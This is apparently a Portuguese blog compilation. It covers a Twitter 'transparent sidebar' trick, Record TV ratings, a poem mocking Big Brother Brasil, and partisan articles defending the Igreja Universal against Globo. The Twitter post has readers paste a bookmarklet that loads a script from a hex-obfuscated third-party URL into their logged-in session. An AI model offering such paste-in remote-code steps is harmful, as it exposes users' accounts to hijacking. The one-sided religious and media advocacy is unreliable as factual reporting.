Falha permite usuários fazer mudanças no Twitter

Uma falha no Twitter está permitindo aos usuários do microblog  deixar suas sidebars “invisíveis”. A novidade, descoberta ao acaso, virou febre e agora todos os usuários do Twitter querem saber:  – Como deixar a sidebar transparente?

Bem, vamos por partes. Primeiro devemos saber que isso não é um recurso próprio do Twitter, e sim, um script executável na barra do navegador que faz a mudança, podendo trazer riscos ao usuário caso execute um script falso (espalhado aos montes pela grande rede) em seu navegador. E segundo, como essa novidade é uma falha e não um recurso, é bem possível que os administradores do site ao descobrirem  o “bug”,  como os usuários do Twitter chamam a falha, corrijam o problema.

Então, chega de enrolação e vamos direto ao ponto. Para deixar a sidebar transparente é muito fácil. Vários usuários ao descobrir a novidade espalharam tutoriais falsos por aí, e esse daqui é um dos poucos que apresentam um script que funciona direitinho  sem causar nenhum problema ao seu pc.

O processo é relativamente simples, basta o usuário acessar as configurações de sua conta, ir até “design” (http://twitter.com/settings/design), alterar seu plano de fundo (caso queira) e em seguida executar o seguinte script:

javascript:d=document;c=d.createElement(‘script’);d.body.appendChild(c);c.src=’http://%77%65%62%64%69%63%61%73%2E%6F%72%67/scripts/%74%77%69%74%74%65%72%2E%74%72%61%6E%73%70%61%72%65%6E%74%65%32%2E%6A%73′;void(0)

Em seguida basta clicar em salvar e pronto! Agora você tem uma sidebar transparente e um espaço um pouco maior para talvez, por uma fotografia sua, por exemplo. Mas lembre-se: todas as vezes que alterar seu plano de fundo no Twitter, terá que repetir o processo acima para deixar a sidebar transparente.

Trilhas sonoras de novelas da Record são copiadas por concorrentes

Até pouco tempo atrás a Record era conhecida como “Recópia”, clonava tudo das outras emissoras, até nomes de programas ficavam semelhantes. Porém, de uns tempos pra cá quem vem atacando de clone de programas da concorrencia não é mais a Record; Globo e SBT assumiram esse papel juntas, de mãos dadas.

Falando do SBT, este eliminou intervalos entre um programa e outro, começou a usar o logo de “ao vivo” quando um programa é ao vivo, antes ele nunca usava e até chegou a usar a trilha sonora Insensatez tema de Fernanda de “Poder Paralelo” em sua tosca e mal elaborada novela “Uma Rosa com Amor”, mas tirou a música do ar já no terceiro capítulo.

Em se tratando de Globo, parece que esta finalmente se tocou (digo finalmente porque ela nunca percebeu o quanto suas novelas são podres e fora de moda) e passou a copiar as novelas de qualidade que só a Record produz. A primeira dessa nova geração de cópias será esta que vem por aí, Passione, verdadeira clone de Poder Paralelo.

Além disso, trilhas sonoras da novela “Bela, a Feia” também já foram “gatiadas” para duas novelas globais no ar atualmente. Mamãe Passou Açúcar em Mim, tema dos personagens Samanta e Armando foi parar em “Escrito nas Estrelas” e uma versão mais “remixada” de Me Chama tema de Vera, virou tema de personagens de “Malhação ID”.

Consolidados do Final de Semana

RECORD

SEXTA

Fala Brasil: 6

Hoje em Dia: 5

Bela, a Feia: 11

SÁBADO

Esporte Fantástico: 5

O melhor do Brasil: 12

Legendários: 7

Show do Tom: 9

DOMINGO

Tudo é Possível: 7,8

Domingo Espetacular: 11,5

Programa do Gugu: 9,6

Reportagem Especial: Manipulação e Preconceito

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O grupo Globo discrimina evangélicos mais uma vez. Evento pacífico da Igreja Universal, que renovou a esperança de mais de 8 milhões de pessoas no País, é alvo de ataques e perseguições

Foi uma celebração de fé pacífica, ordeira e alegre que mobilizou mais de 8 milhões de pessoas em todo o País, com megaconcentrações em todas as capitais. O “Dia D”, organizado pela Igreja Universal do Reino de Deus, atraiu multidões decididas a mudar suas vidas, dando a largada para um futuro melhor, sem conflitos, frustrações e dores.

Nas concentrações de 21 de abril foram vistos não apenas evangélicos, mas também seguidores de outras crenças dispostos a compartilhar desta renovação plena de fé e esperança.

Mas, para o jornal “O Globo”, da família Marinho, que controla a “Rede Globo”, o evento exaltado em todo o País foi visto apenas por aspectos negativos, como os efeitos no trânsito da cidade do Rio de Janeiro.

Na sua edição de quinta-feira, 22 de abril, o jornal publicou na capa uma foto de mais de meia página com o título “Caos no Rio de novo surpreende as autoridades”, comparando os transtornos causados no trânsito pela presença dos mais de 2 milhões de pessoas na Enseada de Botafogo com os das chuvas que atingiram o estado no começo de abril e mataram mais de 250 pessoas em uma grande tragédia.

Uma comparação descabida e absurda.

Na mesma edição, o título da página interna é: “Caos universal e autorizado”, numa alusão evidente e pouco sutil ao nome da IURD. O professor universitário e cientista político Guilherme Carvalhido foi um dos que percebeu a má intenção impressa no jornal da família Marinho.

Ao programa “Domingo Espetacular”, da “Rede Record”, disse que se trata de um jogo de palavras com a evidente intenção de acusar a Igreja Universal.

Ao comparar o caos com os estragos das chuvas, o jornal do grupo “Globo” atesta seu preconceito religioso contra os evangélicos, segundo o bispo Clodomir Santos (responsável pelo trabalho evangelístico da IURD no Brasil), organizador do evento e apresentador do programa “Fala que eu te Escuto”, da “Rede Record”: “Como pode fazer esse tipo de comparação?

É falta de respeito com os evangélicos. Nós sabemos do preconceito da ‘Rede Globo’ contra os evangélicos.” Raimundo do Nascimento Filho, presidente do Conselho de Ética, Doutrina e Educação da Convenção Nacional da Assembleia de Deus do Brasil e presidente da Academia Brasileira Teológica de Letras, se diz chocado com a reação do grupo “Globo”: “Achei chocante o posicionamento de um veículo de comunicação em relação ao evento promovido pela Igreja Universal, mas também uma reunião de toda a igreja evangélica e de outras religiões.

A reportagem errou maldosamente ao comparar com a quase calamidade promovida pelas chuvas que assolaram o Rio de Janeiro. Buscar fotos isoladas é o maior sinal de intolerância para um evento religioso evangélico.”

Ele refere-se a uma manipulação grosseira que figurou na edição seguinte do jornal. Em outra reportagem sobre o assunto, “O Globo” exibiu uma imagem em que uma pilha de lixo, supostamente deixada na praia após o evento, parece ser do mesmo tamanho do morro do Pão de Açúcar, em um recurso de ilusão.

O pior foi que o jornal sequer mencionou que voluntários da IURD trabalharam exaustivamente na limpeza da praia do Botafogo tão logo acabou o evento, como mostram imagens exibidas pela “Rede Record”.

A reportagem de “O Globo” é recheada de frases ofensivas e desrespeitosas aos evangélicos, como “visão do inferno” e a “Universal abusou”. Outros eventos, como o Réveillon de Copacabana, que levou cerca de 2 milhões de pessoas à praia (leia na página 19), foram poupados das críticas.Há 2 anos, no mesmo feriado de 21 de abril, a Igreja Católica promoveu um evento similar no autódromo de Interlagos, em São Paulo (onde a IURD realizou este ano o “Dia D”) e o “Diário de S. Paulo”, na época jornal da família Marinho, deu um título bem mais positivo: “Padre Marcelo Rossi reúne 3 milhões de fiéis em festa”, sem falar em transtornos no trânsito ou lixo.

Se para o evento católico o tratamento foi adequado, no caso da IURD os ataques foram ferozes e sistemáticos.

Em entrevista ao “Domingo Espetacular”, Gilberto Garcia, especialista em direito religioso, defende que “foi um evento único e se percebe o direcionamento do jornal (‘O Globo’) por ser um grupo evangélico, que reúne milhões de pessoas em um espaço público, com todo direito de fazê-lo”.

Para o jornalista e consultor político Carlos Brickmann, a tentativa de manipulação da opinião pública é uma realidade no Brasil. “As igrejas evangélicas, como a Universal, cresceram apesar da oposição da mídia.

Boa parte dos meios de comunicação gostaria de manipular a opinião pública, mas até agora esses veículos não tiveram êxito”, avalia.

As tentativas são infrutíferas porque “hoje os meios de comunicação são múltiplos e a população é muito grande. Os interesses diversos agem como contrapeso uns dos outros”,
afirma Brickmann.Em São Paulo, a megaconcentração, que reuniu mais de 2,3 milhões de pessoas, contou com a presença do prefeito Gilberto Kassab, que destacou a organização. “Tudo transcorreu na maior normalidade, apesar da dimensão do evento estar acima das expectativas”, comentou.

Em outros estados, governadores como Jacques Wagner, da Bahia, destacaram o fato de que milhares de pessoas (em Salvador foram mais de 500 mil) se movimentaram exclusivamente movidas pela fé e pela crença.

O governador de Minas Gerais, Antonio Anastasia, falou da maneira ordeira e da “boa convivência” com que o evento transcorreu em Belo Horizonte, com mais de
200 mil pessoas.

Em seu blog, o bispo Edir Macedo, líder da Igreja Universal, anunciou em vídeo postado no último dia 23 que o “Dia D” será um evento anual e que a fé dos que optaram por seguir a IURD não será abalada. “Quando nos odeiam, estão fazendo nada mais nada menos do que fizeram com Jesus.

O mesmo espírito do ódio que levou Jesus à cruz é o que faz as pessoas nos odiarem”, afirmou.

Dois pesos, duas medidas

“Dia D” é tratado com desdém, mas outros eventos são exaltados

As organizações “Globo” se mostraram bastante preocupadas com o trânsito e o lixo provocados pelo “Dia D” no Rio de Janeiro, mas esse cuidado nunca mereceu tanto destaque: nos arquivos on-line do jornal “O Globo” e do “G1” (site de notícias do grupo), foram poucas as matérias sobre os congestionamentos e acúmulo de lixo provocados pelo carnaval de rua na cidade, pelo Réveillon e por outros megaeventos.

Notícias sobre outros grandes eventos que aconteceram na cidade também não citam os problemas, como o show da banda inglesa Rolling Stones, em 2006, que atraiu mais de 1 milhão de pessoas, acumulou 196 toneladas de lixo pelas praias e foi transmitido ao vivo pela “Globo”, ou do Réveillon, que costuma atrair 2 milhões de pessoas para a queima de fogos da cidade todos os anos.

Em diversas reportagens os veículos do grupo “Globo” parecem reproduzir dados da assessoria de imprensa da Companhia Municipal de Limpeza Urbana do Rio de Janeiro (Comlurb) – que em nenhum texto tem seu trabalho questionado.

Os organizadores destes outros eventos também não são apontados como responsáveis.
Em reportagem publicada pela revista “Veja Rio”, em 23 de agosto de 2006, a promotora de Justiça Denise Tarin diz que “estava no show dos Rolling Stones e por sorte não aconteceu nada de grave, pois não existe plano viável de segurança para eventos desse porte”, observação que não é citada em nenhuma matéria do grupo.

Enquanto o show se aproximava, a “TV Globo” destacava o recorde de público nas areias de Copacabana.

Assim como o “Dia D“ provocou trânsito, outros megaeventos têm o mesmo efeito na cidade, mas pouco é falado, o que sugere que a organização da família Marinho se preocupa com os efeitos negativos apenas quando se trata de uma iniciativa da Igreja Universal do Reino de Deus.

O Ministério Público do Rio de Janeiro elaborou um procedimento em outubro passado com o objetivo de proibir a realização da festa de Réveillon e do carnaval no bairro de Ipanema em virtude de episódios de vandalismo, algo inexistente no “Dia D”.

Os estragos ocasionados nesses outros grandes eventos não são citados em reportagens dos arquivos do grupo. Ou seja: só existem olhos para as consequências negativas de grandes concentrações quando as organizações “Globo” decidem que isso é relevante.

BIG BROTHER BRASIL (Antônio Barreto)

Curtir o Pedro Bial
E sentir tanta alegria
É sinal de que você
O mau-gosto aprecia
Dá valor ao que é banal
É preguiçoso mental
E adora baixaria.

Há muito tempo não vejo
Um programa tão ‘fuleiro’
Produzido pela Globo
Visando Ibope e dinheiro
Que além de alienar
Vai por certo atrofiar
A mente do brasileiro.

Me refiro ao brasileiro
Que está em formação
E precisa evoluir
Através da Educação
Mas se torna um refém
Iletrado, ‘zé-ninguém’
Um escravo da ilusão.

Em frente à televisão
Lá está toda a família
Longe da realidade
Onde a bobagem fervilha
Não sabendo essa gente
Desprovida e inocente
Desta enorme ‘armadilha’.

Cuidado, Pedro Bial
Chega de esculhambação
Respeite o trabalhador
Dessa sofrida Nação
Deixe de chamar de heróis
Essas girls e esses boys
Que têm cara de bundão.

O seu pai e a sua mãe,
Querido Pedro Bial,
São verdadeiros heróis
E merecem nosso aval
Pois tiveram que lutar
Pra manter e te educar
Com esforço especial.

Muitos já se sentem mal
Com seu discurso vazio.
Pessoas inteligentes
Se enchem de calafrio
Porque quando você fala
A sua palavra é bala
A ferir o nosso brio.

Um país como Brasil
Carente de educação
Precisa de gente grande
Para dar boa lição
Mas você na rede Globo
Faz esse papel de bobo
Enganando a Nação.

Respeite, Pedro Bienal
Nosso povo brasileiro
Que acorda de madrugada
E trabalha o dia inteiro
Dar muito duro, anda rouco
Paga impostos, ganha pouco:
Povo HERÓI, povo guerreiro.

Enquanto a sociedade
Neste momento atual
Se preocupa com a crise
Econômica e social
Você precisa entender
Que queremos aprender
Algo sério – não banal.

Esse programa da Globo
Vem nos mostrar sem engano
Que tudo que ali ocorre
Parece um zoológico humano
Onde impera a esperteza
A malandragem, a baixeza:
Um cenário sub-humano.

A moral e a inteligência
Não são mais valorizadas.
Os “heróis” protagonizam
Um mundo de palhaçadas
Sem critério e sem ética
Em que vaidade e estética
São muito mais que louvadas.

Não se vê força poética
Nem projeto educativo.
Um mar de vulgaridade
Já tornou-se imperativo.
O que se vê realmente
É um programa deprimente
Sem nenhum objetivo.

Talvez haja objetivo
“professor”, Pedro Bial
O que vocês tão querendo
É injetar o banal
Deseducando o Brasil
Nesse Big Brother vil
De lavagem cerebral.

Isso é um desserviço
Mal exemplo à juventude
Que precisa de esperança
Educação e atitude
Porém a mediocridade
Unida à banalidade
Faz com que ninguém estude.

É grande o constrangimento
De pessoas confinadas
Num espaço luxuoso
Curtindo todas baladas:
Corpos “belos” na piscina
A gastar adrenalina:
Nesse mar de palhaçadas.

Se a intenção da Globo
É de nos “emburrecer”
Deixando o povo demente
Refém do seu poder:
Pois saiba que a exceção
(Amantes da educação)
Vai contestar a valer.

A você, Pedro Bial
Um mercador da ilusão
Junto a poderosa Globo
Que conduz nossa Nação
Eu lhe peço esse favor:
Reflita no seu labor
E escute seu coração.

E vocês caros irmãos
Que estão nessa cegueira
Não façam mais ligações
Apoiando essa besteira.
Não deem sua grana à Globo
Isso é papel de bobo:
Fujam dessa baboseira.

E quando chegar ao fim
Desse Big Brother vil
Que em nada contribui
Para o povo varonil
Ninguém vai sentir saudade:
Quem lucra é a sociedade
Do nosso querido Brasil.

E saiba, caro leitor
Que nós somos os culpados
Porque sai do nosso bolso
Esses milhões desejados
Que são ligações diárias
Bastante desnecessárias
Pra esses desocupados.

A loja do BBB
Vendendo só porcaria
Enganando muita gente
Que logo se contagia
Com tanta futilidade
Um mar de vulgaridade
Que nunca terá valia.

Chega de vulgaridade
E apelo sexual.
Não somos só futebol,
baixaria e carnaval.
Queremos Educação
E também evolução
No mundo espiritual.

Cadê a cidadania
Dos nossos educadores
Dos alunos, dos políticos
Poetas, trabalhadores?
Seremos sempre enganados
e vamos ficar calados
diante de enganadores?

Barreto termina assim
Alertando ao Bial:
Reveja logo esse equívoco
Reaja à força do mal…
Eleve o seu coração
Tomando uma decisão
Ou então: siga, animal…

Vídeos do “Globo.com” denunciam perseguição da empresa aos evangélicos

Nesta semana o jornal “O Globo” dedicou varias de suas páginas a “cobertura” do “Dia D” promovido pela Igreja Universal do Reino de Deus no Rio e em diversas capitais brasileiras. A cobertura da Globo ao evento não ressaltou o número de pessoas curadas e libertas na hora pela megaconcentração de fé e milagres, porém, fez questão de humilhar as pessoas que participaram do evento e de aponta-las como responsáveis pelo caos que se formou no trânsito da cidade.

A cobertura negativa do evento não foi exclusividade da Globo; Folha, UOL, e diversos parceiros da Globo também difamaram a Igreja e fizeram questão de publicar diversos textos ofendendo e ridicularizando a fé de milhões de pessoas, inclusive, uma publicação do “Globo” insinuou que o dízimo arrecado pela Igreja não serve para nada, já que, na publicação do blog  “DizVentura” o colunista Mauro Ventura disse que não foram os fieis da IURD que pagaram o ônibus e sim a própria Igreja “As empresas fretaram veículos para os fiéis, o que por um lado levou caos ao trânsito e por outro fez com que faltasse transporte para os cariocas”, ou seja, para o sábio colunista, quem tinha de pagar pelo ônibus eram as pessoas que iam para o evento e não a Igreja.

São inúmeras as acusações de repórteres globais aos eventos da IURD, todas por sinal falsas e com intuito único, como já dito aqui e em vários outros blogs, de abalar a fé das pessoas, afastá-las de Deus e retardar o crescimento do evangelho no Brasil.

Não foi só a IURD que foi vítima de preconceito da Globo aqui no Brasil. Outras igrejas já ocuparam espaço na Globo quando seus tetos desabaram ou quando bandidos disfarçados de pastores acabaram presos.

As maiores provas a favor da Universal e de tantas outras igrejas vítimas de acusações e perseguições da Globo são os próprios vídeos do portal Globo.com. Nenhum vídeo do portal trata de ações sociais promovidas pelas igrejas evangélicas, nem do número de pessoas curadas e que tiveram suas vidas transformadas pelo poder da fé; nos vídeos da Globo a IURD aparece unicamente como uma Igreja de pastores ladrões, membros burros (que entregam tudo o que tem para pastores ladrões)  e uma empresa de fachada que só serve para roubar dinheiro dos fiéis (por sinal burros) e desviar esse dinheiro para sei lá quantas contas diferentes. A Globo nunca cobriu nenhum evento da IURD e de nenhuma Igreja evangélica, nunca! Jamais noticiou as ações sociais da Universal no Nordeste, tampouco o número de jovens libertos das drogas e da criminalidade, porém, cobrir carnaval tornou-se uma prioridade na casa.

Prefeitura do Rio assume responsabilidade por “transtornos” no trânsito no “Dia D”

Pressionada pelos grandes veículos de comunicação do país, a prefeitura do Rio enviou nota aos portais Globo e Uol a respeito dos engarrafamentos na cidade provocados pela megaconcentração de fé e milagres que reuniu mais de 2 milhões de pessoas na enceada de Bota-Fogo no Rio nesse dia 21.  Ao contrario do que muita gente pensava, a prefeitura isentou a Universal de qualquer culpa, mas disse que episódios semelhantes ao ocorrido na Zona Sul da cidade não se repetirão, ou seja, se é pra fazer algum evento como esses, que não tenha pessoas participando.

Segue a nota:

“A Prefeitura do Rio assume suas responsabilidades pelo engarrafamento que congestionou o trânsito hoje na zona sul e no centro, devido a um show na enseada de Botafogo. Não dimensionamos corretamente o evento, por termos sido informados pelos organizadores que a quantidade de ônibus para levar os assistentes ao show seria menor.

A CET-Rio divulga desde ontem, através da mídia, da internet e dos seus painéis, orientações aos motoristas. Essas providências, porém, mostraram-se insuficientes, diante do grande volume de ônibus mobilizados pelos organizadores do evento.

A prefeitura desculpa-se com a população e assegura que não se repetirão episódios semelhantes.”

Ao que tudo indica, a mensagem final da nota refere-se apenas as concentrações de fé da Igreja Universal, já que, outros eventos realizados na cidade e que costumam reunir muito mais gente nas ruas e deixar o trânsito ainda mais lento, são encarados com naturalidade pela Companhia de Engenharia de Tráfego da cidade. A atitude da prefeitura e dos jornais “Folha de SP” e “O Globo” dão a entender que  megacultos evangélicos devem ser proibidos na cidade, até porque, não há como a IURD realizar um megaevento no Rio ou em SP, sem parar o trânsito e sem reunir mais de 1 milhão de pessoas no local do evento.

Resta saber agora se a prefeitura do Rio irá proibir as passeatas católicas,  o carnaval e os shows de grandes bandas, que deixam o trânsito muito mais lento, causam mais mortes nas estradas e levam dezenas de pessoas aos hospitais públicos da cidade por embriagues e coma alcoólico, isso no caso das festanças. Resta saber também se a prefeitura não se lembra das outras concentrações realizadas pela IURD na cidade, e que também reuniram milhões de pessoas e pararam o trânsito.

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